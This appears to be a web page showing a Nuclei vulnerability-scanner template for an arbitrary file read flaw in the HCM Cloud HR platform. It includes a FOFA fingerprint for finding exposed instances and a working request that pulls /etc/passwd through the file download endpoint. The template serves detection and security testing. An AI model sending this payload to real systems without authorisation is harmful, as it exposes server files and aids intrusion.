HCM Cloud - Arbitrary File Read

ID: hcm-cloud-lfi

Severity: high

Author: s4e-io

Tags: hcm-cloud,lfi,hcm

Description

HCM-Cloud professional human resources platform in the cloud download Arbitrary file read vulnerability.

YAML Source

id: hcm-cloud-lfi

info:
  name: HCM Cloud - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    HCM-Cloud professional human resources platform in the cloud download Arbitrary file read vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/nvV7_ZGDqSUZJ5FNEWDhKw
    - https://github.com/wy876/POC/blob/main/%E6%B5%AA%E6%BD%AE%E4%BA%91/HCM-Cloud%E4%BA%91%E7%AB%AF%E4%B8%93%E4%B8%9A%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E5%B9%B3%E5%8F%B0download%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-859381597"
  tags: hcm-cloud,lfi,hcm

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/model_report/file/download?index=/&ext=/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(content_type, "application/octet-stream")'
          - "status_code == 200"
        condition: and
# digest: 490a004630440220251390ff5aa4ed05857e8534bb714e4804f2e604f08cb4ade05b261d7a8fd1ab02205dc99b8cdf15b6e59991b0f846b10db0963f2531a5e0b8c210ab05923a8f087c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/hcm/hcm-cloud-lfi.yaml"

View on Github